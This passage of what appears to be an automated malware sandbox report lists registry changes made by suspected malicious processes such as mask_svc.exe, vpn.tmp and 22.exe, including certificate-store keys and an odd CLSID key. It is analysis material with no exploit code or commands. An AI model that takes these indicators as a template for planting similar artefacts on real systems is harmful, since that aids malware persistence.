\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1912 = "Russia TZ 10 Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-532 = "Sri Lanka Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-602 = "Taipei Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2611 = "Bougainville Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2532 = "Chatham Islands Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-462 = "Afghanistan Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-572 = "China Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-335 = "Jordan Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-161 = "Central Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-571 = "China Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-592 = "Malay Peninsula Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-434 = "Georgian Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-832 = "SA Eastern Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2392 = "Aleutian Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-292 = "Central European Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-591 = "Malay Peninsula Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1661 = "Bahia Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1412 = "Syria Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-391 = "Arab Daylight Time" mask_svc.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeFull Version.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exevpn.tmpsvchost.exeMicrosoftEdgeCP.exe22.exeMicrosoftEdgeCP.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\onlinecasinoground.nl\Total = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings Full Version.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-08760 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\MrtCache MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 96872b57212bd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BE49FBDF-9D0C-4705-9235-FD3A1AF3C76A}\ProxyStubClsid32 vpn.tmp Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates\83DA05A9886F7658 = 03000000010000001400000083da05a9886f7658be73acf0a4930c0f99b92f011400000001000000140000003656896549cb5b9b2f3cac4216504d91b933d79104000000010000001000000062455357dd57cb80c32ab295743cccc00f00000001000000200000006811c6215f18c75fdbe32cf56bd66248562a7fa3ba459cfee338745061e583941900000001000000100000002d581a49c8eb5b3b3c6ef9bb65314d705c000000010000000400000000100000180000000100000010000000bb048f1838395f6fc3a1f3d2b7e976542000000001000000dc060000308206d8308204c0a003020102020a613fb718000000000004300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303131301e170d3131313031383232353531395a170d3236313031383233303531395a307e310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f66742053656375726520536572766572204341203230313130820222300d06092a864886f70d01010105000382020f003082020a0282020100d00bc0a4a81981e236e5e2aae5f3b2155875beb4e549f1e084f9bb0d64ef85c18155b8f3e7f16d40553dce8b6ad18493f5757c5ba4d47410ca32f323d3aeeecf9e0458c2d947cbd17c004148711b01671718afc6fe73037ee4ef439cef01712a1f81264377985457739d552bf09e8e7d060eac1b54f326f7f82308228b9e061d3738fd72d2cae563c19a5a7db26db352a96ee9aeb5fc8b36f99efaf61c581b9756a511e5b752dbbbe9f054bfb4ff2c6cb85d26cea00ad7df93ed7fddacf12c731ad9193755badd22788ea1d49b09f807223171b094aee0b0e726445790819715ce61ec65e24bf185521632f8b578aa7ecd4dec8321a4a89bbe9a6a04e0a31ccd56186cfd6b2f423ee237f272abd07873727bdeec0058e52130a3083a99ef9fc3f77a169665b5c381aff4397049aff6a9f66a0038f9b40819e01a35a55676225f6af269ae3ead58464db854f68941441e72b1bc122753d2c1ffb2cd50981eb5f4bbb6c28239d9ac1bf23b27846ab0c6260bd73a10e7b3db7cd356ac534c0bfa3b313774d8592bf9007919067bfd1c1d42d4410d2f050ed56b4923ffcfcdf87a82cfda3c2ddfe8d8120418ba1e8877b8981f1007bbc8057e0b09bf6bdde34e5bb0f9c784a63bca4c9f5b6229f7c7a2a89588702ce5c13f3c52234f409ac33185832fbf29f11d508f219607ceeff280c2447d9b62ef2fc37789ab454d533e0279d30203010001a382014b30820147301006092b06010401823715010403020100301d0603551d0e041604143656896549cb5b9b2f3cac4216504d91b933d791301906092b0601040182371402040c1e0a00530075006200430041300b0603551d0f040403020186300f0603551d130101ff040530030101ff301f0603551d23041830168014722d3a02319043b914054ee1eaa7c731d1238934305a0603551d1f04533051304fa04da04b8649687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963526f6f436572417574323031315f323031315f30335f32322e63726c305e06082b0601050507010104523050304e06082b060105050730028642687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b692f63657274732f4d6963526f6f436572417574323031315f323031315f30335f32322e637274300d06092a864886f70d01010b0500038202010041c861c1f55b9e3e9131f1b0c6bf0901b49db69074d709dba62e0d9fc8e7763446af0760894c81b33cd5f4123575c273a5f54d848ccba45dafbf92f617085742957265057679adeed1bab82e54a35107ac68eb210ce32581c2cd2af2c3ffcfc2bd49189ac7f084c5f914bc6b95e596efb342d253d54aa012c4ae12765309560e9df7d3a6498850f28a2c9720a2be4e78ef0565b74ba11688de31c70842247ca47b9e9dbc60005e6297e393fca7fe5b7b25dfe4537f4bbee63ef0db0179421c6e856c7db64430fba5379293b2a5ee20ad3f53d5c9f4286b57c1f81d6ab7562ab627811ca62d9fe7f4d0318397a82ab6acbe1b41f5e4895f56fbda5ad35e7d5594107e5357f44a3d402ac8bd679f84e110eefdda6b158249fc461dff4506749c4214edc539d3b3cd0b832790435192f24482ae6e9a1517b219fac7456c98017bbf37a9b088a492bc3838e01de47c97981a2e5fef3865b7352fbd7f4f21fac48cd26f06f94935eadf200f25aaea60ab2c1f4b89fcb7fa5c54904b3ea2284f6ce45265c1fd901c8582886ee9a655dd21287945b014e50acce65fc4bbdb6134699fac2638f7c1294108152e4ca0f7f90c3ede5fab08092d83acac348362f4c949428925b56eb247c5b339a0b1201b2cb18e046fa530491cd046e9405bf4ad6ebadb824a87124a80094ddbdf76b9055b1be0bb20705f0025c7d30efa16ad7b229e7108 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{XLCMX7L3-L6I1-MY60-TLXW-JIZNXKAMXM51} svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "18" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\Total\ = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings 22.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000005fcf085ba76c3eb4e97039be50d0e459d76dbd2a4b61931ae42222fa100ab48b86d0f34d2c09444b21bb544c7991ecce144b3826266886f7be2de95d3d899230db7215aeb4c26900afaec35e930568a04559144d15ae576c86d5 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 80e2696c222bd701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000d76ce4293f74e77511ba0a76a8d48ba5cfc0f7b16348d6fb9ccd03d1e8e98ff8fe905d0ec4a78e627f3f5db417aa0a2202e2323307593ffcb6e7 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState\EdpState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\propapps.info\ = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\propapps.info\ = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 4 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CTLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CTLs MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 10ea716c222bd701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore MicrosoftEdge.exe -
Processes:
